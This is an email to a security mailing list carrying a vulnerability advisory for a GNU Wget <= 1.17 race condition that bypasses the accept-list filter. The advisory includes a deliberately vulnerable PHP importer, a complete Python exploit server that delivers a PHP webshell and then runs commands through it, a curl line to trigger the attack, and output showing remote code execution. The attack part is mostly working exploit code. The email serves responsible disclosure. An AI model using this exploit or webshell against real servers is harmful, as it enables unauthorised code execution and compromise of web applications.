Hi,

I'm attaching the PoC to this email.
As you can see, this scenario doesn't require attacker to have access
to the filesystem (as was suggested earlier in the thread on
oss-security group) ,and  attacker is able to supply his URL as per
'import from URL' functionality which is common in many apps today.

Hope this helps. I'd like to publish the advisory as soon as possible
so please issue appropriate patches / update documentation if
possible.

Thanks.

Dawid Golunski
http://legalhackers.com
=============================================
- Release date: Unreleased
- Discovered by: Dawid Golunski
- Severity: High/Moderate

- http://legalhackers.com
=============================================


I. VULNERABILITY
-------------------------

GNU Wget <= 1.17       Race Condition / Access-list Bypass


II. BACKGROUND
-------------------------

"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and 
FTP, the most widely-used Internet protocols. 
It is a non-interactive commandline tool, so it may easily be called from 
scripts, cron jobs, terminals without X-Windows support, etc.

GNU Wget has many features to make retrieving large files or mirroring entire 
web or FTP sites easy, including: [...]
"

https://www.gnu.org/software/wget/


III. INTRODUCTION
-------------------------

GNU Wget has several site mirroring options. One of the options allows
to specify a list of accepted file extensions. It was discovered that the
protection can be bypassed. If an attacker is able to supply an arbitrary
URL to an application using wget with recursive/mirroring options, they
might be able to place malicious files on the system. Depending on the
application, this could lead to arbitrary code execution etc.


IV. DESCRIPTION
-------------------------


When wget is used in recursive/mirroring mode, according to the manual it can 
take the following access list options:

"Recursive Accept/Reject Options:
  -A acclist --accept acclist
  -R rejlist --reject rejlist

Specify comma-separated lists of file name suffixes or patterns to accept or 
reject. Note that if any of the wildcard characters, *, ?, [ or ], appear in 
an element of acclist or rejlist, it will be treated as a pattern, rather 
than a suffix."


These can for example be used to only download JPG images. 

Research has shown however that when a single file is requested
with recursive option (-r / -m) and an access list ( -A ), wget only applies
the list at the end of the download process. 

This can be observed on the output below:

# wget -r -nH -A '*.jpg' http://attackers-server/test.php
Resolving attackers-server... 192.168.57.1
Connecting to attackers-server|192.168.57.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘test.php’

15:05:46 (27.3 B/s) - ‘test.php’ saved [52]

Removing test.php since it should be rejected.

FINISHED


Although the file get successfully deleted in the end, this creates a 
race condition situation as an attacker who has control over the URL,
could slow down the download process so that he had a chance to make use of
the malicious file before it gets deleted.

It is very easy for an attacker to win this race as the file only gets
deleted after the HTTP connection is terminated. He can therefore keep
the connection open as long as necessary to make use of the uploaded file.
Below is proof of concept exploit that demonstrates this technique. 


V. PROOF OF CONCEPT
-------------------------


Here is sample PHP web application using wget to download images from a 
user-provided site/URL:


---[ image_importer.php ]---

<?php
        // Import user images from provided site URL

        if ( isset($_GET['siteurl']) ) {
                $URL = escapeshellarg($_GET['siteurl']);
        } else {
                die("siteurl parameter missing");
        }       

        if ( !file_exists("image_uploads") ) {
                mkdir("image_uploads");
        }
        // Download user JPG images into image_uploads directory
        system("wget -r -nH -P image_uploads -A '*.jpg' $URL");
?>

----------------------------


It is meant to only accept jpg files. 

Using the wget race condition vulnerability an attacker could use the
following exploit to upload an arbitrary PHP file and execute arbitrary PHP
code.


---[ wget-race-exploit.pl ]---

#!/usr/bin/env python

#
# Wget 1.17 <= Race Condition / Access-list Bypass Exploit
#
# Dawid Golunski
# http://legalhackers.com
# 

import SimpleHTTPServer
import time
import SocketServer
import urllib2

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       # Send the payload on GET request
       print "We have a volunteer requesting " + self.path + " by GET :)\n"
       self.send_response(200)
       self.send_header('Content-type', 'text/plain')
       self.end_headers()
       self.wfile.write(PAYLOAD)
       print "\nPayload was sent.\n"

       # Wait for the file to be flushed to disk on remote host etc.
       print "Sleep 2s...\n"
       time.sleep(2)

       # Request uploaded webshell
       print "File '" + self.path + "' should be uploaded by now :)"
       print "Executing " + CMD + " by requesting webshell URL at: " + 
WEBSHELL_URL + CMD + "\nCommand result: "
       print urllib2.urlopen(WEBSHELL_URL+CMD).read()

       print "All done. Closing HTTP connection...\n"
       # Connection will be closed on request handler return
       return

HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80

PAYLOAD='''
<?php
        //simple webshell
        system($_GET["cmd"]);
?>
'''

WEBSHELL_URL="https://trusty/wget/image_uploads/wget_race_poc.php?cmd=";
CMD="/usr/bin/id"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), 
wgetExploit)

print "Wget 1.17 <= Race Condition / Access-list Bypass Exploit (created by 
Dawid Golunski)\n"
print "Serving payload on HTTP port %s...\n" % HTTP_LISTEN_PORT

handler.serve_forever()


------------------------------


Attacker can run the exploit on his server. When it is running, as soon as the 
vulnerable image_importer.php script is requested in a browser e.g:

curl 
https://victims-server/wget/image_importer.php?siteurl=http://attackers-server/wget_race_poc.php


The attacker should see an output similar to:


attackers-server# ./wget-race-exploit.pl 
Wget 1.17 <= Race Condition / Access List Bypass Exploit (created by Dawid 
Golunski)

Serving payload on HTTP port 80...

We have a volunteer requesting /wget_race_poc.php by GET :)

192.168.57.10 - - [29/Feb/2016 18:48:47] "GET /wget_race_poc.php HTTP/1.1" 200 -

Payload was sent.

Sleep 2s...

File '/wget_race_poc.php' should be uploaded by now :)
Executing /usr/bin/id by requesting webshell URL at: 
https://trusty/wget/image_uploads/wget_race_poc.php?cmd=/usr/bin/id
Command result: 

uid=33(www-data) gid=33(www-data) groups=33(www-data)

All done. Closing HTTP connection...



As we can see, the exploit successfuly took advantage of the time delay
before the webshell got deleted by wget and executed /usr/bin/id on the 
victim's server.





Reply via email to